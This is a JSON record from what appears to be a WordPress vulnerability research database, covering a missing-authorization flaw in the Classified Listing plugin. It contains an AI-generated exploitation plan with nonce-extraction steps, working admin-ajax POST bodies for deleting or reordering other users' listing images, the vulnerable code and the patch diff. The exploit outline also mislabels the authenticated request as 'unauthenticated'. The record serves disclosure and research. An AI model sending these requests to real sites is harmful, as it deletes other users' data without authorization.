[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fotlL-Aln1HtcaV9KdoZa73c07jk55JR4wgbBliB5D_Q":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-42651","classified-listing-ai-powered-classified-ads-business-directory-plugin-missing-authorization","Classified Listing – AI-Powered Classified ads & Business Directory Plugin \u003C= 5.3.9 - Missing Authorization","The Classified Listing – AI-Powered Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.3.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.","classified-listing",null,"\u003C=5.3.9","5.3.10","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-29 00:00:00","2026-05-04 13:56:44",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F70dda3b3-8515-49b2-8e45-21ceb9aeb419?source=api-prod",6,[22,23,24,25,26,27,28,29],"README.txt","app\u002FControllers\u002FAjax\u002FAjaxGallery.php","app\u002FControllers\u002FAjax\u002FFormBuilderAjax.php","app\u002FControllers\u002FHooks\u002FTemplateLoader.php","app\u002FHelpers\u002FFunctions.php","app\u002FHelpers\u002FUpgrade.php","app\u002FModels\u002FRoles.php","app\u002FServices\u002FFormBuilder\u002FFBHelper.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-42651 - Missing Authorization in Classified Listing\n\n## 1. Vulnerability Summary\nThe **Classified Listing** plugin for WordPress (versions up to 5.3.9) contains a missing authorization vulnerability in its AJAX gallery management functions. Specifically, the functions `gallery_delete` and `gallery_update_order` within the `Rtcl\\Controllers\\Ajax\\AjaxGallery` class fail to verify if the current user has permission to edit the post (listing) associated with the attachment being modified or deleted. \n\nWhile the functions verify a security nonce (`rtcl-gallery`), they do not check if the authenticated user is the owner of the `post_id` or possesses the `edit_others_rtcl_listings` capability. This allows any authenticated user (Subscriber and above) to delete attachments from any listing or manipulate image ordering metadata.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `rtcl_gallery_delete` (to delete attachments) or `rtcl_gallery_update_order` (to manipulate metadata).\n- **Required Authentication**: Subscriber-level access or above.\n- **Vulnerable Parameters**:\n    - `attach_id`: The ID of the attachment (media) to delete.\n    - `post_id`: The ID of the listing (post type `rtcl_listing`) that owns the attachment.\n    - `_ajax_nonce`: A valid nonce for the `rtcl-gallery` action.\n\n## 3. Code Flow\n### Deletion Flow (`gallery_delete`)\n1.  **Entry**: `AjaxGallery::__construct` registers `wp_ajax_rtcl_gallery_delete`.\n2.  **Nonce Check**: `gallery_delete()` (Line 52) calls `check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false )`.\n3.  **Input**: Fetches `attach_id` and `post_id` from `$_POST`.\n4.  **Verification (Weak)**: It checks if the attachment exists and if its `post_parent` matches the provided `post_id` (Line 71).\n5.  **Missing Check**: It **does not** check if the current user is the author of the `post_parent` or has admin privileges.\n6.  **Sink**: `wp_delete_attachment( $attach_id )` (Line 76) deletes the file and metadata.\n\n### Ordering Flow (`gallery_update_order`)\n1.  **Entry**: Registers `wp_ajax_rtcl_gallery_update_order`.\n2.  **Nonce Check**: `gallery_update_order()` (Line 84) calls `check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false )`.\n3.  **Missing Check**: No ownership or capability check for the provided `post_id`.\n4.  **Sink**: `update_post_meta( $post_id, '_rtcl_attachments_order', $ordered_keys )` (Line 93).\n\n## 4. Nonce Acquisition Strategy\nThe `rtcl-gallery` nonce is required. It is typically localized when the gallery management scripts are enqueued, which happens on the \"Add Listing\" or \"Edit Listing\" pages.\n\n1.  **Identify Shortcode**: The listing submission form is generated by the `[rtcl_post_form]` shortcode.\n2.  **Create Access Page**: Create a public page containing this shortcode to ensure the script enqueues for the Subscriber.\n    - `wp post create --post_type=page --post_status=publish --post_title=\"Submit\" --post_content='[rtcl_post_form]'`\n3.  **Navigate**: Login as a Subscriber and navigate to this page using `browser_navigate`.\n4.  **Extract Nonce**: The plugin localizes data into a JavaScript object. Based on common RadiusTheme patterns, look for `rtcl_gallery` or `rtcl_common`. \n    - Verbatim check: `AjaxGallery.php` uses `rtcl-gallery`.\n    - Recommended extraction: `browser_eval(\"rtcl_gallery.nonce\")` or `browser_eval(\"rtcl_common.nonce\")`. (If these fail, search the page source for the string `\"rtcl-gallery\"` to find the specific variable name).\n\n## 5. Exploitation Strategy\nWe will demonstrate the vulnerability by deleting an attachment belonging to a listing owned by the Administrator.\n\n### Step 1: Target Identification\n- Find a Listing ID (`post_id`) owned by Admin.\n- Find an Attachment ID (`attach_id`) associated with that listing.\n\n### Step 2: Nonce Retrieval\n- Navigate to the submission page as a Subscriber.\n- Extract the `rtcl-gallery` nonce.\n\n### Step 3: Unauthorized Deletion\n- Use the `http_request` tool to send the malicious POST request.\n\n**Request Details**:\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**:\n  ```text\n  action=rtcl_gallery_delete&_ajax_nonce=[NONCE]&attach_id=[VICTIM_ATTACH_ID]&post_id=[VICTIM_POST_ID]\n  ```\n\n## 6. Test Data Setup\n1.  **Admin Listing**: Create a listing as admin.\n    - `wp post create --post_type=rtcl_listing --post_status=publish --post_title=\"Admin Listing\" --post_author=1`\n2.  **Attach Image**: Upload an image and attach it to the listing.\n    - `wp media import \u002Fpath\u002Fto\u002Fimage.jpg --post_id=[LISTING_ID]`\n    - Capture the returned ID as `VICTIM_ATTACH_ID`.\n3.  **Attacker User**: Create a subscriber.\n    - `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n4.  **Submission Page**: Create the form page.\n    - `wp post create --post_type=page --post_status=publish --post_content='[rtcl_post_form]'`\n\n## 7. Expected Results\n- The AJAX response should return `{\"result\": 1}`.\n- The attachment should be permanently removed from the WordPress Media Library and the server filesystem.\n\n## 8. Verification Steps\n1.  **Check Media**: Verify the attachment no longer exists.\n    - `wp post exists [VICTIM_ATTACH_ID]` (should return error\u002Fnot found).\n    - `wp media list --post_id=[VICTIM_POST_ID]` (should be empty or missing that ID).\n2.  **Check Metadata**: Verify the post meta for order is corrupted or points to non-existent IDs.\n\n## 9. Alternative Approaches\nIf `rtcl_gallery_delete` is patched or fails, target `rtcl_gallery_update_order`:\n- **Body**: `action=rtcl_gallery_update_order&_ajax_nonce=[NONCE]&post_id=[VICTIM_POST_ID]&ordered_keys[]=9999&ordered_keys[]=8888`\n- **Verification**: `wp post meta get [VICTIM_POST_ID] _rtcl_attachments_order` to confirm the metadata was updated without authorization.","The Classified Listing plugin for WordPress is vulnerable to unauthorized access and data manipulation due to missing authorization checks in several AJAX gallery handlers. Authenticated attackers with subscriber-level access can delete attachments, reorder images, or modify metadata for any listing by providing the target post ID, provided they can obtain a valid security nonce.","\u002F\u002F app\u002FControllers\u002FAjax\u002FAjaxGallery.php:52\nfunction gallery_delete() {\n    if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {\n        echo wp_json_encode( [\n            \"result\" => 0,\n            \"error\"  => __( \"Invalid Session. Please refresh the page and try again.\", \"classified-listing\" )\n        ] );\n\n        exit;\n    }\n\n    $attach_id = intval( $_POST[\"attach_id\"] );\n    $attach = get_post( $attach_id );\n\n    if ( $attach === null ) {\n        echo wp_json_encode( [\n            \"result\" => 0,\n            \"error\"  => __( \"Attachment does not exist.\", \"classified-listing\" )\n        ] );\n    } elseif ( $attach->post_parent != absint( Functions::request( \"post_id\" ) ) ) {\n        echo wp_json_encode( [\n            \"result\" => 0,\n            \"error\"  => __( \"Incorrect attachment ID.\", \"classified-listing\" )\n        ] );\n    } elseif ( wp_delete_attachment( $attach_id ) ) {\n        echo wp_json_encode( [ \"result\" => 1 ] );\n    } else {\n        \u002F\u002F ...\n    }\n\n    exit;\n}\n\n---\n\n\u002F\u002F app\u002FControllers\u002FAjax\u002FAjaxGallery.php:84\nfunction gallery_update_order() {\n    if ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {\n        wp_send_json_error( [ \"error\" => __( \"Invalid Session. Please refresh the page and try again.\", \"classified-listing\" ) ] );\n    }\n\n    $post_id = intval( Functions::request( \"post_id\" ) );\n    $ordered_keys = !empty( $_POST['ordered_keys'] ) && is_array( $_POST['ordered_keys'] ) ? $_POST['ordered_keys'] : [];\n    $ordered_keys = $ordered_keys ? array_map( 'intval', $ordered_keys ) : [];\n    $ordered_keys = $ordered_keys ? array_filter( $ordered_keys ) : [];\n    if ( !empty( $ordered_keys ) ) {\n        update_post_meta( $post_id, '_rtcl_attachments_order', $ordered_keys );\n    }\n    wp_send_json_success( $ordered_keys );\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fclassified-listing\u002F5.3.9\u002Fapp\u002FControllers\u002FAjax\u002FAjaxGallery.php\t2026-04-20 09:33:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fclassified-listing\u002F5.3.10\u002Fapp\u002FControllers\u002FAjax\u002FAjaxGallery.php\t2026-04-29 05:15:42.000000000 +0000\n@@ -10,6 +10,36 @@\n \n class AjaxGallery {\n \n+\t\u002F**\n+\t * Verify that the current user owns (or can edit) the given listing.\n+\t * Returns true when the request should be allowed, false otherwise.\n+\t *\u002F\n+\tprivate function current_user_can_edit_listing( $post_id ) {\n+\t\t$post_id = absint( $post_id );\n+\n+\t\t$listing = rtcl()->factory->get_listing( $post_id );\n+\t\tif ( ! $listing ) {\n+\t\t\treturn false;\n+\t\t}\n+\n+\t\t$post        = $listing->get_listing();\n+\t\t$post_author = (int) $post->post_author;\n+\n+\t\t\u002F\u002F Guest temp posts created during unregistered posting.\n+\t\tif ( 'rtcl-temp' === $post->post_status && 0 === $post_author && Functions::is_enable_post_for_unregister() ) {\n+\t\t\treturn true;\n+\t\t}\n+\n+\t\treturn Functions::current_user_can( 'edit_' . rtcl()->post_type, $post_id );\n+\t}\n+\n \tpublic function __construct() {\n \t\tadd_action( 'wp_ajax_rtcl_gallery_upload', [ $this, 'gallery_upload' ] );\n \t\tadd_action( 'wp_ajax_rtcl_gallery_update_order', [ $this, 'gallery_update_order' ] );\n@@ -39,6 +69,37 @@\n \t}\n \n \tfunction gallery_delete() {\n-\t\tif ( !check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {\n+\t\tif ( ! check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ) ) {\n+\t\t\techo wp_json_encode( [\n+\t\t\t\t\"result\" => 0,\n+\t\t\t\t\"error\"  => __( \"Invalid Session. Please refresh the page and try again.\", \"classified-listing\" ),\n+\t\t\t] );\n+\n+\t\t\texit;\n+\t\t}\n+\n+\t\tif ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {\n+\t\t\techo wp_json_encode( [\n+\t\t\t\t\"result\" => 0,\n+\t\t\t\t\"error\"  => __( \"Registration required to delete listing image.\", \"classified-listing\" ),\n+\t\t\t] );\n+\n+\t\t\texit;\n+\t\t}\n+\n+\t\t$post_id = absint( Functions::request( \"post_id\" ) );\n+\t\tif ( $post_id > 0 && ! $this->current_user_can_edit_listing( $post_id ) ) {\n \t\t\techo wp_json_encode( [\n \t\t\t\t\"result\" => 0,\n-\t\t\t\t\"error\"  => __( \"Invalid Session. Please refresh the page and try again.\", \"classified-listing\" )\n+\t\t\t\t\"error\"  => __( \"You do not have permission to delete images for this listing.\", \"classified-listing\" ),\n \t\t\t] );\n \n \t\t\texit;\n \t\t}\n \n \t\t$attach_id = intval( $_POST[\"attach_id\"] );\n \t\t$attach    = get_post( $attach_id );\n \n \t\tif ( $attach === null ) {\n \t\t\techo wp_json_encode( [\n \t\t\t\t\"result\" => 0,\n-\t\t\t\t\"error\"  => __( \"Attachment does not exist.\", \"classified-listing\" )\n+\t\t\t\t\"error\"  => __( \"Attachment does not exist.\", \"classified-listing\" ),\n+\t\t\t] );\n+\n+\t\t\texit;\n+\t\t}\n+\n+\t\tif ( is_user_logged_in() && ( ! current_user_can( 'delete_post', $attach_id ) && ! current_user_can( 'manage_rtcl_listing_images' ) ) ) {\n+\t\t\techo wp_json_encode( [\n+\t\t\t\t\"result\" => 0,\n+\t\t\t\t\"error\"  => __( \"You are not allowed to delete listing images.\", \"classified-listing\" ),\n \t\t\t] );\n-\t\t} elseif ( $attach->post_parent != absint( Functions::request( \"post_id\" ) ) ) {\n+\n+\t\t\texit;\n+\t\t}\n+\n+\t\tif ( $attach->post_parent != absint( Functions::request( \"post_id\" ) ) ) {\n \t\t\techo wp_json_encode( [\n \t\t\t\t\"result\" => 0,\n-\t\t\t\t\"error\"  => __( \"Incorrect attachment ID.\", \"classified-listing\" )\n+\t\t\t\t\"error\"  => __( \"Incorrect attachment ID.\", \"classified-listing\" ),\n \t\t\t] );\n \t\t} elseif ( wp_delete_attachment( $attach_id ) ) {\n \t\t\techo wp_json_encode( [ \"result\" => 1 ] );","1. Access the site as an authenticated user (Subscriber role or above).\n2. Navigate to a page containing the listing submission form (e.g., using the [rtcl_post_form] shortcode) and extract the 'rtcl-gallery' nonce localized in the page source.\n3. Identify a victim listing ID (post_id) and a media attachment ID (attach_id) associated with that listing.\n4. Send an unauthenticated AJAX POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' using the action 'rtcl_gallery_delete'.\n5. Include the valid nonce, the target 'attach_id', and the target 'post_id'.\n6. The plugin will execute wp_delete_attachment() on the victim's media because it lacks a check to verify that the current user owns the listing specified by 'post_id'.","gemini-3-flash-preview","2026-05-04 18:06:10","2026-05-04 18:06:42",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.3.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fclassified-listing\u002Ftags\u002F5.3.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fclassified-listing.5.3.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fclassified-listing\u002Ftags\u002F5.3.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fclassified-listing.5.3.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fclassified-listing\u002Ftags"]